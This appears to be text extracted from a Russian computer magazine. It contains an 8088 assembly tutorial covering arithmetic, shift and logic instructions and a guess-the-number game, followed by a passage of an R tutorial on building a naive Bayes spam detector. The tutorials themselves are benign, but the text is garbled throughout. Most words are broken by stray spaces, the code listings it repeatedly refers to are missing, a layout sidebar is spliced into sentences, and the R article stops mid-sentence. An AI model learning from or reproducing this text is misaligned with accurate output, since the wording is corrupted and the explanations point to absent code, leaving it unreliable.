давай прост о усло вимс я, что если тебе надо нарисо вать на экра не букв у,
прос то встав ляй в свой код вот такую инст рукц ию.
Ре али зация под прогр аммы call display_letter пред став лена ниже. Сох‐
рани ее в файл library.asm.
Важ но! В конец всех прог рамм, которые мы напишем, тебе надо будет
вставл ять код из library.asm. К чему это при ведет? Все прогр аммы будут
закан чиватьс я выходом в коман дную стро ку, и у них будут под прогр аммы
для вывода сим вола на экран (из регис тра AL) и для счит ыва ния сим вола
с кла виатур ы (результ ат помеща ется в регистр AL).
УЧИМСЯ СКЛАДЫВАТЬ И ВЫЧИТАТЬ
В качест ве аргум ент ов для инс трук ции сло жения давай задей ствуе м регистр
AL и конс тант у.
Эта прогр амма выводит на экран циф ру 7. Потому что 4 + 3 = 7.
В качес тве аргу мент ов для инс трук ции вычита ния давай возьм ем регистр
AL и конс тант у.
Эта прогр амма выводит на экран циф ру 1. Потому что 4 – 3 = 1.
ОСВАИВАЕМ ИНСТРУКЦИЮ УМНОЖЕНИЯ
Инст рукц ия умно жения уме ет работать с байт ами (8‐бит ные чис ла) и сло вами
(16‐бит ные числ а). Умнож аемое — это всег да регистр AL/AX. А мно жител ем
может быть либо регистр (любой), либо перемен ная в памяти.
Толь ко учти, что если умно жаемое у тебя в AL, то мно житель дол жен
быть 8‐бит ным, а если в AX — 16‐бит ным. Резуль тат умнож ения попадае т
либо в AX (ког да перем ножае м два 8‐бит ных числ а), либо в DX:AX (ког да
перем ножа ем два 16‐бит ных чис ла).
В при мере ниже мы использ уем два 8‐бит ных регис тра AL (умно жаемое)
и CL (мно житель). Резуль тат попадае т в 16‐бит ный регистр AX.
Эта прог рамма выводит на экран цифр у 6. Потому что 3 × 2 = 6.
Для того что бы перем ножить два 16‐бит ных чис ла, умнож аемое помес ти
в AX, а мно житель — в CX. Затем вмес то mul cl напиши mul cx.
Обр ати вним ание, инс трукц ия mul опе риру ет безз на ковы ми целыми. Если
тебе надо перемн ожить чис ла со знак ом, использ уй imul.
РАЗБИРАЕМСЯ С ИНСТРУКЦИЕЙ ДЕЛЕНИЯ
Инс трукц ия деления умее т работать со слов ами (16‐бит ные числ а) и двой‐
ными сло вами (32‐бит ные числ а). Делимое — это всегд а либо регистр AX,
либо DX:AX. А делите лем может быть либо регистр (любой), либо переменн ая
в памяти.
Толь ко учти, что если делимое у тебя в AX, то делитель дол жен быть 8‐бит‐
ным, а если в DX:AX — 16‐бит ным.
Когд а ты делишь 16‐бит ное чис ло на 8‐бит ное, то резуль тат попада ет в AL,
а оста ток — в AH. Если делишь 32‐бит ное числ о на 16‐бит ное, резуль тат
попадае т в AX, остат ок — в DX.
В при мере ниже мы использ уем 16‐бит ный и 8‐бит ный регис тры. Резуль‐
тат попадае т в AL, оста ток в AH.
Эта прог рамма выводит на экран цифр у 3. Потому что 100 / 33 = 3. Если
хочешь посм отреть, какой остат ок получил ся, добавь вот такую строчк у сра зу
пос ле той, где написан а инст рук ция div.
Бе регись! Инс трукц ия деления может слом ать твою прог рамму. Если ты
сде лаешь деление на ноль, то возн икнет сис темная ошибк а и твоя прог‐
рамма вылетит в команд ную строк у.
Об рати вни мание, инст рук ция div опер иру ет безз нак овы ми целыми. Если
тебе надо разд елить чис ла со знак ом, исполь зуй idiv.
ЛОГИЧЕСКИЙ И АРИФМЕТИЧЕСКИЙ СДВИГИ, ЦИКЛИЧЕСКИЙ
СДВИГ
Инст рукц ии сдвиг а (опер ато ры << и >> в язык ах высоко го уров ня) —
это самые родн ые инс трук ции для проц есс ора. Работаю т они быс трее, чем
больш инс тво дру гих инс трук ций. Так что если какую‐то часть вычисл ений
мож но реали зовать на них, — осо бенн о если это позв олит избе жать инс трук‐
ций умно жения и деления, — сме ло их использ уй.
Сей час объя сню, как здесь работа ет инст рук ция сдви га. Пред ставь, что зна‐
чение регис тра AL — это числ о в дво ичной сист еме счисл ения. Инст рук ция
shl прост о сдвиг ает кажд ый бит двои чно го чис ла на одну позицию влев о
и добавл яет справ а ноль. А тот бит, который вытесн яет ся слев а, попада ет
в флаг CF (Carry Flag; флаг перено са).
Анал огичн ым обра зом работа ет инс трук ция shr, но тольк о она сдвиг ает
биты регис тра впра во, а не вле во.
Есть еще инс трук ция sar, которая работа ет почт и как shr, но в отли чие
от shr дела ет не логическ ий, а ариф метичес кий сдвиг. Что это знач ит? Когд а
sar сдви гает бит дво ично го чис ла впра во, то не добав ляет ноль, а дубл ируе т
бит, который там был до сдвиг а. Иног да это может быть и ноль, но не всег да.
В чем поль за от такой хит роум ной альт ер нативы обычн ому сдвиг у впра во?
В том, что sar позв оляе т двиг ать числ а со знак ом. Сдви нуть их может и shr,
вот толь ко в регис тре в резуль тате этог о получит ся белибер да.
Ты, наверн ое, уже понял, что вто рым аргу мен том у всех инст рук ций сдви га
указ ывае тся количес тво позиций, на которое нуж но сдви нуть биты регист ра.
Обра ти вним ание: если указ ыва ешь это количес тво цифр ой, то это может
быть тольк о еди ница. Если хочешь за раз сдви нуть сраз у неск оль ко битов,
восп ольз уйся регист ром CL.
Еще есть инс трукц ии для цик лическ ого сдви га: ror, rcr, rol и rcl. В чем их
осо бенн ость? Биты, выдв ига емые с одног о кон ца, появл яют ся с друг ой сто‐
роны. Цикл ичес кий сдвиг вправ о выпол няет ся инст рук цией ror, а влев о —
инст рукц ией rol. rcr/rcl делаю т то же самое, что ror/rol, тольк о задей‐
ству ют еще один допол нительн ый бит — CF. Добав ляемый бит берет ся из CF,
а выд вига емый попадае т в CF.
INFO
У shl (логическ ий сдвиг влев о) есть синоним —
sal. Две эти инс трук ции полн остью иден тичны —
вплоть до того, что генери руют ся в один и тот же
машин ный код.
ТРИ ЛОГИЧЕСКИЕ ИНСТРУКЦИИ ПЛЮС ОДНА БЕСПОЛЕЗНАЯ
В 8088 дос тупны три логическ ие инст рукц ии: and, or и xor.
Инс трукц ия and эквив ален тна опер ато ру & в Си и JavaScript; or — опе рато ру
|, а xor — опе рато ру ^.
Еще есть инст рукц ия not, которая при нима ет тольк о один параметр. Она
инверти рует все биты указ анн ого регист ра. (not al эквив ален тна опе рато ру
~ в Си и JavaScript).
Кро ме того, у 8088 есть инст рук ция neg, которая очень похожа на not,
но тольк о она делае т не логическ ую инверсию, а ариф метичес кую: меня ет
знак у заданн ого чис ла.
Еще в ассем блер е есть инс трук ция, которая не делае т совер шенно
ничего. Ты можешь вста вить ее в любое мес то сво ей прог раммы, и она никак
не повл ияет на ход выпол нения. Конечн о, за исключ ени ем того, что прог‐
рамма отраб ота ет чуть медл еннее. Это инс трукц ия nop. Можешь поэк спе‐
римент ировать с ней. Вставь ее куда душе угод но пос ле директ ивы org, и ты
уви дишь, как твоя прог рамма увел ичит ся ров но на один байт (это раз мер
инс трукц ии No OPeration), но работать будет без изме нений.
ЗНАКОМИМСЯ С ИНСТРУКЦИЯМИ ИНКРЕМЕНТА И ДЕКРЕМЕНТА
Инст рукц ии инкре мен та и декр емент а поз воляю т уве личив ать или умень шать
на един ицу знач ение регис тра или знач ение перемен ной в памяти. Эти инс‐
трукц ии работа ют и с бай тами (8 бит), и со слов ами (16 бит).
Тут мы:
1. заг ружае м в AL ASCII‐код цифр ы ноль, то есть 0x30;
2. по казыв аем цифр у на экран е;
3. при бав ляем к AL еди ницу;
4. пов торяе м шаги 2–3 до тех пор, пока в AL не ока жет ся 0x39;
5. по казыв аем текущий сим вол и делае м все то же самое, что раньш е, но в
обратном поряд ке;
6. от нима ем от AL един ицу;
7. выв одим на экран то, что получи лось;
8. повт оря ем до тех пор, пока в AL не ока жет ся 0x30.
В ито ге прог рамма выводит на экран вот такую стро ку: 012345678987654321.
В этой прогр амме есть еще одна новая для тебя инс трук ция — cmp (CoM‐
Partion — срав нить). Она работае т так же, как инст рукц ия вычита ния, но с
одним зна чительн ым отли чием: cmp не меня ет зна чение регис тра. Она меня‐
ет толь ко биты регист ра флаг ов (Flags).
Обычн о cmp использ уетс я сов мес тно с инс трук циями условног о перехо да,
такими как je (Jump if Equal — «прыгн уть, если рав но»), jne (Jump if Not
Equal — «прыг нуть, если не равн о») и подобн ыми.
ПИШЕМ ПРОСТУЮ ИГРУШКУ «УГАДАЙ ЧИСЛО»
Ну вот, теперь ты зна ешь дост аточ но ассем блер ных инст рукц ий, что бы
написать нес ложную игру «Уга дай числ о».
Как она будет работать? Посл е запуск а игры компью тер загадыв ает чис ло,
выводит на экран знак вопр оса и ждет ответ а игро ка. Если числ о, введ енн ое
игро ком, отли чает ся от того, которое загадал компью тер, игра сно ва выводит
знак воп роса. Ког да игрок наконец уга дывае т числ о, прогр амма печатае т его
на экра не и добав ляет смайл ик (знак двое то чия и зак рываю щую скоб ку). Вот
ассемб лер ный код, который воп лощае т опи сан ную задум ку.
Как компью тер загады вает чис ло? Он счи тыва ет из порт а 0x40 псевд ослуч ай‐
ное числ о. Этот порт под клю чен к микр осхе ме тай мера. Тайм ер без оста нов‐
ки отсчит ывае т такт ы про цес сора. Ког да ты счит ывае шь знач ение с его порт а,
то каж дый раз получа ешь псевд ослу чай ное числ о в диапа зоне от 0x00
до 0xFF. Вот и весь секр ет.
Те перь неболь шой орга низа цион ный момент. До сих пор, ког да нам
с тобой нуж на была бук ва, мы задава ли ее шес тнад цатерич ным ASCII‐кодом.
Но у комп илято ра NASM есть удобн ая особ енн ость: ты можешь напеча тать
любой симв ол, зак лючить его в апос троф ы, и NASM сам прео браз ует его
в ASCII‐код.
Да вай перепиш ем нашу игру, восп ольз овавш ись этой осо бен ностью
NASM.
Согл асись, так исходный код выг лядит куда более читабель но.
ВЫВОДЫ
Позд рав ляю, ты сдел ал неболь шой шаг в осво ении ассемб лер а! Теперь ты
можешь соз давать на нем неболь шие игрушки. Та, которую мы с тобой сде‐
лали, занимае т всег о 70 байт.
Инструкции и операторы
Есл и ты знае шь Си, Java или JavaScript, то вот небольш ая табл ичка соот ветс‐
твия межд у ассем блер ными инст рук циями, которые ты сегод ня осво ил,
и опе рато рами из этих язык ов.
КОДИНГ
НЕСКУЧНЫЙ
DATA SCIENCE
ПИШЕМ НА ЯЗЫКЕ R
СОБСТВЕННЫЙ ДЕТЕКТОР СПАМА
Раб отать в Data Science, как ты мог слы‐ Антон Карев
шать, — прес тижно и денеж но. В этой Эксперт по информационной
статье я позн акомл ю тебя с аза ми язы ка R,
который использ уют в «науке о дан ных». Мы безопасности. Область
напишем так называ емый наивн ый бай‐ профессиональных
есовс кий клас сификат ор, который будет
детек тить в почт е спам. Конс тру ируя прог‐ интересов — технологическая
рамму, ты увид ишь, как сухая скучн ая разведка, аналитика в сфере
математ ика может быть впол не наг лядной
и полезн ой. Ты смо жешь написать и понять ИБ и искусственный
эту прогр амму, даже если никог да не стал‐ интеллект
кивал ся ни с чем подоб ным.
[email protected]
Снач ала, впро чем, дол жен пред уп редить, что для пол ного понима ния будет
хорошо, если ты уже знак ом с азам и ста тист ичес ких методов. Я, конеч но,
пост араю сь изло жить матери ал так, что бы у вдум чивого читате ля, незн акомо‐
го со стат ист икой, тоже был шанс вник нуть в тему, но теорет ическ ие осно вы
ста тис тики остан ут ся за рамк ами этой статьи.
Плюс я исхо жу из того, что ты, с одной сто роны, хорошо под кован в теории
и практ ике прогр аммир ова ния, разб ирае шьс я в алгор ит мах и струк турах дан‐
ных, но, с дру гой сто роны, еще не стал кивал ся с язы ком R. Я позн аком лю
тебя с ним в том объ еме, которо го тебе хва тит, чтоб ы комф ор тно написать,
запуст ить и понять пер вую прог рамму.
ЗНАКОМИМСЯ С ЯЗЫКОМ R И ГОТОВИМ РАБОЧЕЕ МЕСТО
Для начала пос мотрим, как устан овить R и как в нем запус кать и отлаж ивать
прогр аммы, как искать и устан ав ливать нуж ные биб лиоте ки (в мире R они
называю тся пакетам и), как удоб но искать документ ацию к раз ным фун кци ям.
Язык R чрезв ычайн о мощ ный в том, что касае тся обраб от ки и ана лиза дан‐
ных. Де‐факт о это станд арт в Data Science. Язык созд ан математ икам и‐ста‐
тист иками для матема тиков‐стат ис тиков. В нем, как и в дру гих инст ру мент ах,
предн азнач енн ых для наукоемк их вычисл ений, самый ходовой тип дан‐
ных — это век тор. Самая популярн ая струк тура дан ных в R — это data frame
(срез данн ых). Срез дан ных пред ставл яет собой мат рицу с атриб ута ми,
которая по виду очень похожа на реляци онную БД.
IDE для R качай с офиц иальн ого сайт а. Дос тупны верс ии для трех ОС: Lin‐
ux, Mac и Windows. Устан овк а дол жна прой ти лег ко, но если что‐то пой дет
не так, поп робуй перв ым делом загл януть в FAQ.
Те перь запус каем IDE. Выгл ядеть она будет прим ерн о так.
Подс вет ка синт акси са здесь, конечн о, так себе — вер нее, ее вооб ще нет, —
так что код можн о спо койн о писать в каком‐нибудь друг ом редакт оре, а IDE
использ овать толь ко для запуск а уже готово го кода. Лич но я пишу на R в он‐
лайн овом редакт оре на rextester.com.
Что бы устан овить нуж ный пакет (библ иотек у), использ уй функ цию in‐
stall.packages. В install.packages есть полез ная опция — suggests.
По умол чанию ей прис воено зна чение FALSE. Но если перевес ти ее в TRUE,
install.packages под гру зит и устан овит все вто рич ные пакеты, на которые
полагае тся тот пакет, который ты став ишь. Рекоменд ую всег да устан ав ливать
эту опцию в TRUE, осо бенн о когд а начинае шь с чис того лист а и тольк о‐тольк о
(пере)устан овил R.
Вот тебе для удобс тва скрипт, который про веря ет, устан овл ены ли нуж ные
тебе пакеты. Если какие‐то из них не устан овл ены, скрипт подг руж ает и уста‐
навл ивае т их. Перепеч атай и сох рани скрипт в файл update_packages.r.
Сей час он подг руж ает тольк о два пакета, которые нам понадоб ят ся, когд а
будем писать детект ор спам а. По мере необх одимос ти можешь добав лять
и дру гие пакеты.
Что бы вып олн ить скрипт (и этот, и все остальн ые, которые ты напишешь),
снач ала перек лючи рабочую дирек торию на ту, куда его сох ранил. Для этог о
введ и в кон соль R фун кцию setwd (напр имер, setwd("e:/work/r")). Потом
выпол ни команд у source вот таким обра зом: source("install_packages.
r"). Она запуст ит твой скрипт, и ты увид ишь, как подг ру жают ся пакеты,
которые у тебя еще не уста нов лены.
Что бы под клю чить пакет к прогр амме, исполь зуй функ цию library
или require. Нап ример, library('tm').
Что бы найт и докумен тацию к фун кции, прос то введ и в кон соли ?xxx,
где xxx — имя инте ресую щей тебя функ ции. IDE открое т в бра узе ре стран ицу
с информа цией по этой фун кции.
Готовим данные
Снач ала давай подг отовим наборы дан ных для тре ниров ки и про верк и
будуще го детек тора. Предл агаю взять их из архив а Apache SpamAssassin.
По ссыл ке ты найд ешь подб орку писем, рас фасован ную по трем катего риям:
spam (собст вен но, спам), easy_ham (пра вомерн ые письм а, которые лег ко
отли чить от спам а), hard_ham (пра вомер ные пись ма, которые тяжело отли‐
чить от спа ма).
Соз дай в сво ей рабочей директ ории пап ку data. Перейд и в нее и соз дай
в ней еще пять папок:
• easy_nonspam_learn, easy_nonspam_verify;
• spam_learn, spam_verify;
• hard_nonspam_verify.
По пап кам spam_learn и spam_verify расп ред ели по‐брат ски письм а
из spam. По пап кам easy_nonspam_learn, easy_nonspam_verify – из папк и
'easy_ham'. В папк у hard_nonspam_verify ско пируй все пись ма из hard_ham.
Как ты уже наверн о догадал ся, письм ами из папок _learn мы будем тре‐
ниро вать свой детект ор отли чать спам от не‐спа ма, а пись мами из папок
_verify – будем про верять, как хорошо он научил ся это делать.
Но почему тог да мы не созд али пап ку hard_nonspam_learn? Для остро ты
экспер имен та! Мы будем трен иро вать детект ор тольк о теми пись мами,
которые лег ко отлич ить от спам а. А в кон це пос мотрим, смож ет ли он узна‐
вать в пись мах из катего рии hard_nonspam пра вомер ную поч ту без пред‐
варитель ной тре нировк и.
Как конструируют признаки
Теп ерь, когд а у нас есть исходные дан ные для тре ниров ки и про вер ки, нам
нуж но «сконст ру иро вать призн аки», которые наш детект ор будет выиск ивать
в сырых тек сто вых файл ах с пись мами. Умен ие конс тру иров ать приз наки —
один из базовых навыков в Data Science. Залог успе ха здесь — про фес‐
сиональ ная инту иция, которая при ходит с годами прак тики. Компью те ры пока
еще не могут делать эту работу авто мати чес ки, вмест о нас. И, скор ее всег о,
никогд а не смо гут.
С друг ой сто роны, компь юте ры могут облегчить нашу работу по конс тру‐
иро ванию призн аков. В час тнос ти, у R есть пакет tm (от слов Text Mining),
предн азна ченн ый для ана лиза тек стов. С его помощью мы подс чи таем, какие
сло ва чаще все го встре чают ся в спам е и в не‐спа ме, и будем исполь зовать
их час тотность в качест ве приз наков.
Совр емен ные детект оры спа ма дела ют знач ительн о больш е, чем под счи‐
тыван ие част оты слов, но, как ты скор о убе дишь ся, даже наш прост ень кий
детект ор будет весьм а неп лохо отде лять спам от не‐спам а.
В осно ву нашего детек тора положим наи вный байе сов ский клас сифика‐
тор. Логика его работы такая: если видим сло во, которое в спам е встре чает‐
ся чаще, чем в не‐спа ме, то кла дем его в копил ку спам‐призн аков. По такому
же принц ипу фор миру ем копил ку приз наков для не‐спа ма.
Как эти приз наки помогут нам отдел ять спам от не‐спам а? Мы ищем в ана‐
лизир уемом пись ме оба вида призн аков. Если в ито ге получае тся, что приз‐
наков спам а боль ше, чем приз наков не‐спам а, знач ит письм о спамн ое, ина‐
че — прав омер ное.
Вы числ яя веро ятности того, спам ли наше пись мо, мы не учит ыва ем, что
какие‐то сло ва могут быть вза имо зави симым и. Мы оце нива ем кажд ое сло во
в отрыв е от всех остальн ых слов. На стат ист ичес ком слен ге такой подх од
называе тся «стат ист ичес кой независ имостью». Когд а математ ики‐ста тист ики
исхо дят из такого предп оложе ния, не будучи до кон ца увер ен ными в том, что
оно здесь прав омер но, они говорят: «Наша модель наив ная». Отсю да и наз‐
вание: наив ный бай есовс кий класс ифика тор, а не прос то байе сов ский клас‐
сификат ор.
Пишем функцию чтения писем из файлов
Снач ала под груж аем биб лиотек и, которые нам понадоб ят ся, и проп исы ваем
пути к пап кам, в которых хран ят ся файл ы с письм ами.
Каж дый отдель но взя тый файл с письм ом сост оит из двух блок ов: заголо вок
с метаданн ыми и содерж ание письм а. Перв ый блок отде лен от втор ого пус‐
той стро кой (это осо бен ность прот окол а элект ронн ой почт ы опи сана
в RFC822). Метаданн ые нам не нуж ны. Нас интер есуе т тольк о содер жимое
письм а. Поэто му напишем фун кцию, которая счи тывае т его из фай ла с пись‐
мом.
Что мы тут дела ем? В язык е R фай ловый ввод/вывод осу щест вля ется точн о
так же, как и в боль шинс тве дру гих язык ов прогр амми рова ния. Функ ция
getMessage получае т на вхо де путь к файл у и открыв ает его в режиме rt (read
as text — читать как обычн ый текст).
Об рати вним ание, здесь мы исполь зуем кодиров ку Latin‐1. Зачем? Потому
что во мно гих пись мах есть сим волы, которых нет в кодировк е ASCII.
Функ ция readLines счи тывае т тек сто вый файл пос трочн о. Кажд ая стро ка
ста новит ся отдельн ым элем ент ом в вект оре text.
Посл е того как мы про читал и из фай ла все стро ки, ищем пер вую пуст ую,
а затем извлек аем все стро ки пос ле нее. Результ ат помеща ем в век тор msg.
Как ты, навер но, понял, msg — это и есть содер жимое пись ма, без заголов оч‐
ных метаданн ых.
На конец, сво рачив аем весь вект ор msg в еди ный блок тек ста (см. часть
кода с фун кци ей paste). В качес тве раз делите ля строк использ уем сим вол
\n. Зачем? Так его будет удобн ее обра баты вать. И быст рее.
Сейч ас соз дадим вект ор, который будет содер жать тек стов ые сооб щения
из всех спам ных писем. Каж дый отдельн о взя тый элем ент вект ора —
это отдель ное пись мо. Зачем нам такой вект ор? Мы будем с его помощью
тре ниро вать свой детект ор.
Снач ала мы получае м спис ок всех фай лов из пап ки со спа мом. Но там,
помимо писем, еще хран ит ся файл cmds (служ ебн ый файл с длин ным спис‐
ком Unix‐команд на перемещ ение файл ов), который нам не нужен. Поэтом у
вто рая строч ка из пре дыду щего фрагм ента кода удал яет имя это го файл а
из ито гово го спис ка.
Что бы соз дать нуж ный нам век тор, восп оль зуемс я фун кцие й sapply,
которая прим енит фун кцию getMessage ко всем имен ам фай лов, которые мы
толь ко что получил и при помощи dir.
Обр ати вни мание, здесь мы переда ем в sapply безымянн ую функ цию —
что бы объе ди нить имя фай ла и путь к катало гу, где он лежит. При выкай,
для язы ка R это весь ма расп ростран ен ная конс трук ция.
Готовим корпус текстов для спамных писем
Те перь нам надо созд ать корп ус тек стов. С его помощью мы смо жем манипу‐
лиро вать терм ами в пись мах (в корп усной линг вис тике сос тавные част и тек‐
ста, в том чис ле сло ва, называ ют терм ами). Зачем нам это? Что бы сконст ру‐
иро вать приз наки спам а для нашего детект ора.
Тех ничес ки это зна чит, что нам надо созд ать терм‐документ ную мат рицу
(TDM), у которой N строк и M стол бцов (N – количест во уник альн ых тер мов,
найд енн ых во всех документ ах; M — количес тво документ ов в кор пусе тек‐
стов). Ячей ка [iTerm, jDoc] указ ывае т, сколь ко раз терм с номером iTerm
встреч ает ся в письм е с номером jDoc.
Функ ция getTDM получа ет на вхо де век тор со всем и тек сто выми сообщ ени‐
ями из всех спам ных писем, а на выходе выдае т TDM.
Па кет tm поз воляе т конс тру иро вать кор пус тек стов неск оль кими спо соба‐
ми, в том чис ле из век тора писем (смот ри функ цию VectorSource). Если тебе
инте рес ны альт ерн атив ные источник и, набери в R‐конс оли ?getSources.
Но прежд е чем конст ру иров ать корп ус, мы долж ны ска зать пакету tm,
как надо вычищать и норм ализо вывать текст. Свои пожелан ия мы переда ем
через параметр control, который пред став ляет собой спис ок опций.
Как видишь, мы здесь исполь зуем четыре опции.
1. stopwords=TRUE — не при нимать во вни мание 488 стоп‐слов (рас‐
простра нен ные сло ва английс ког о язы ка). Что бы пос мотреть, какие слов а
вхо дят в этот спис ок, набери в конс оли stopwords().
2. removePunctuation=TRUE и removeNumbers=TRUE — говорят сами
за себя. Мы их использ уем для умень шения шума от соот ветс тву ющих
симв олов. Тем более что мно гие наши пись ма напич каны HTML‐тегами.
3. minDocFreq=2 — стро ки в нашей TDM нуж но созд авать толь ко для тех
терм ов, которые встреч ают ся в корп усе тек стов больш е одног о раза.
Готовим почву для конструирования признаков
На помн ю, мы хотим нат рениров ать детект ор таким образ ом, чтоб ы он мог
оце нивать веро ятность того, что ана лизи руемое письм о — это спам. Как мы
собира емся это делать? Выиск ивая в анал изир уемом письм е тер мы, которые
для нас явля ются призн аками спа ма. И вот что для это го нуж но сдел ать
в коде…
Мы восп оль зуемс я толь ко что соз данной TDM, чтоб ы соз дать набор обу‐
чающих дан ных из спамн ых писем. Для этог о сде лаем срез дан ных, который
будет вклю чать в себя сумм арную час тотность всех тер мов — они в пос леду‐
ющем смо гут слу жить призн аками того, что анал изир уемое пись мо это спам.
Что мы здесь делае м? Что бы получить срез данн ых, мы сна чала конв ерти‐
руем свою TDM в стан дар тную R‐мат рицу (фун кция as.matrix). Затем
при помощи rowSums соз даем век тор, в котором для кажд ого терм а выс‐
читывае тся сумм арная час тота со всех спамн ых писем.
Даль ше объе дин яем строк овый (с тер мами) и числ овой (с част отностью)
век торы, исполь зуя функ цию data.frame.
На конец, немн ого обла гораж ива ем наши дан ные: задае м подп иси
для стол бцов и кон вертир уем час тоты в чис ловое предс тав ление.
Генерируем тренировочные данные
В этом небольш ом фраг менте кода мы снач ала для каж дого терм а вычисл яем
про цент ную часть документ ов, в которых он встреч ает ся (occurrence). Как мы
это делае м? Про гоняе м каж дую стро ку (то есть кажд ый терм) через безымян‐
ную функ цию (переда на в качес тве аргум ент а в sapply), которая снач ала
под счит ыва ет количест во яче ек, знач ение в которых больш е нуля, а потом
делит получен ную сумм у на количест во стол бцов в TDM (то есть на количес‐
тво документ ов в спам ном кор пусе тек стов).
Дальш е вычис ляем плот ность тер ма (density) по все му кор пусу текс тов.
На конец, при помощи фун кции transform добав ляем к сво ему срез у дан‐
ных два тольк о что вычис ленных век тора: spam_learn.occurrence (про цен‐
тная часть документ ов, в которых встреч ает ся расс мат рива емый терм)
и spam_learn.density (плот ность терм а по все му кор пусу тек стов).
Всё! Набор трен иро воч ных данн ых для спам ной час ти нашего детек тора
готов. Давай про верим их: пос мотрим, какие терм ы из спам ного корп уса тек‐
стов оказ ались самыми ярки ми инди катор ами. Для это го отсортир уем наш
spam_learn.df по стол бцу occurrence и посм отрим что получи лось. Вве ди
в конс оли R:
head(spam_learn.df[with(spam_learn.df, order(‐frequency)),])
Ре зульт ат дол жен выг лядеть как‐то так.
Как видишь, HTML‐теги — это наибол ее яркие индик атор ы спа ма. На их долю
прих одит ся боль ше 30 % писем из спам ных тре ниров очн ых данн ых.
ОБРАБАТЫВАЕМ ПИСЬМА EASY_NONSPAM
С письм ами из пап ки easy_nonspam_learn делае м то же самое, что и со спа‐
мом. Код прак тическ и такой же.
Единст вен ное отлич ие (смот ри 80 строк у): мы счит ывае м из easy_non‐
spam_learn не все пись ма (их там больш е 2000), а стольк о, сколь ко про чита‐
ли из папк и spam_learn (порядк а 500). Зачем такая урав нилов ка? Чтоб ы
детект ор работал бес пристраст но. А то если его перет рениров ать
на какой‐то одной категор ии писем, то он будет видеть спам там, где его нет,
или наобо рот.
Теп ерь набор трен иро воч ных дан ных для не‐спам ной час ти нашего детек‐
тора тоже готов. Давай пос мотрим, что получил ось:
head(easy_nonspam_learn.df[with(easy_nonspam_learn.df, order(‐
frequency)),])
Ре зуль тат дол жен выгл ядеть как‐то так.
→Продолжение статьи
КОДИНГ ← НАЧАЛО СТАТЬИ
НЕСКУЧНЫЙ DATA
SCIENCE
ПИШЕМ НА ЯЗЫКЕ R СОБСТВЕННЫЙ
ДЕТЕКТОР СПАМА
ПИШЕМ КЛАССИФИКАТОР
Итак, у нас есть два набора тре ниров оч ных дан ных, то есть две копил ки приз‐
наков: для спам а и для не‐спам а. Как они помогут нашему детек тору отдел ять
зерн а от плев ел? Детект ор будет вычисл ять для кажд ой из копилок «наив ную
бай есовс кую веро ятность» того, что анал изи руемое пись мо относ ит ся к ее
катего рии. Вот фун кция, которая вопл оща ет эту идею.
Мы передае м ей четыре парамет ра:
1. path — письм о, которое надо про ана лизир овать;
2. trainingDF — срез данн ых по тому тре ниров оч ному набору, с которым
мы хотим сравн ить анал изир уемое письм о;
3. prior — наше «наивн ое предп оложе ние» по поводу того, какая часть
писем (в про цент ах) обыч но оказ ывае тся спа мом;
4. cNone — кон стант а веро ятности, которую мы присв аиваем новым тер‐
мам — тем, которых нет в тре ниров оч ных пись мах.
Об рати вни мание, как я здесь расп рав ляюсь с теми тер мами ана лизи руемо го
письм а, которых не было в тре ниро вочн ых письм ах и которые наш детект ор
поэто му не знае т. Вер нее, что я делаю с их нулевой час тотностью. Если их
час тотность остав ить такой, какая она есть, то функ ция classifyEmail
не смож ет работать пра вильн о. Ведь в ней вычис ления пос трое ны на перем‐
ножении част от. Если хотя бы один из множ ител ей будет нулем, — а такое
будет слу чатьс я весь ма час то, — то результ ат неиз менно будет нулем.
По это му тер мам с нулевой част отностью я прис ваиваю небольш ую кон‐
стантную час тоту: 0,1 %, — то есть час тоту, которая заведом о мень ше, нам‐
ного меньш е, чем те част оты, которые зафикс ирова ны в наших трен иров оч‐
ных дан ных. Кстат и говоря, такой спос об обраб аты вать неиз вес тные тер мы —
весь ма расп ростра нен ный подх од в Data Science.
Как работает classifyEmail
Обр ати вни мание, перв ые три шага мы здесь делае м точн о так же, как при
обраб от ке трен иро вочн ых дан ных:
1. get.msg извлек ает текст из письм а;
2. get.tdm прео бра зует этот текст в TDM;
3. rowSums рас счи тыва ет час тотность.
Дальш е нам надо опред елить, как терм ы из анал изир уемо го письм а пересе‐
кают ся с тер мами из наших тре ниро воч ных дан ных. Для этог о задейс тву ем
команд у intersect. Передае м ей терм ы, най ден ные в анал изи руемом пись‐
ме, и тер мы из трен иро вочн ых дан ных.
За вер шающий шаг клас сификац ии: опре делить, есть ли в ана лизи руемом
пись ме какие‐то тер мы, которые так же есть и в наших трен иров очн ых дан ных.
Если такие есть, исполь зуем их, что бы понять, какова веро ятность, что ана‐
лизир уемое пись мо отно сит ся к катего рии того срез а дан ных, которые
переда ны парамет ром trainingDF.
Как все это выгл ядит вжив ую? Допус тим, мы пытае мся оцен ить, спам рас‐
смат рива емое письм о или нет. Функ ция msg.match выда ет все тер мы из ана‐
лизир уемо го письм а, которые есть в спам ном срез е дан ных (spam_learn.
df). Если таких терм ов нет вооб ще (length(msg.match) < 1), то фун кция
заменяе т нулевые част оты зна чение м cNone.
Проверяем детектор
Тест ировать наш детект ор, нат рениров анн ый на пись мах spam и easy_non‐
spam, будем сложн ыми письм ами: hard_nonspam.
Что мы здесь делае м? Сна чала, как и всегд а, берем спис ок файл ов с пись‐
мами. Потом дела ем два прог она через клас сификат ор. Пер вый прог он
для про вер ки при над лежнос ти к спа му, вто рой — к не‐спа му. В ито ге у нас
получа ется два век тора: hard_nonspam_verify.spam_test и hard_non‐
spam_verify.nonspam_test. Мы попар но сравн ивае м чис ловые зна чения
из этих век торов и подс чи тыва ем резуль тат: сколь ко писем больш е похоже
на спам, а скольк о — на не‐спам.
Теб е наверн яка не тер пится посм отреть, какой счет получилс я в ито ге,
и понять, наск ольк о хорошо детек тор спра вил ся со сво ей работой. Одна ко
перед тем как показать резуль тат, хочу напомн ить тебе две вещи. 1) Нам
заведо мо извес тно, что в той выборк е писем, которую мы тольк о что тес‐
тирова ли, спам а нет. Поэто му в иде але счет чик спам а долж ен остатьс я
нулевым. 2) Мы зна ем, что письм а этой выборк и сложн о клас сифицир овать,
потому что в них встре чают ся терм ы, которые являю тся ярким и индик ато рами
спам ности. Это я к чему? К тому, что резуль тат скор ее все го получит ся
не очень вдохн овля ющим. Так какой же он?
Наш детект ор сраб отал с погр ешностью в 8%. Для комм ерчес кой прог раммы
это, конечн о, непоз волительн о мног о, но для прост ень кого детек тора,
который мы с тобой писали в обра зоват ель ных целях, результ ат вполн е при‐
ятный. Осо бенн о если учесть тот факт, что письм а из категор ии hard_non‐
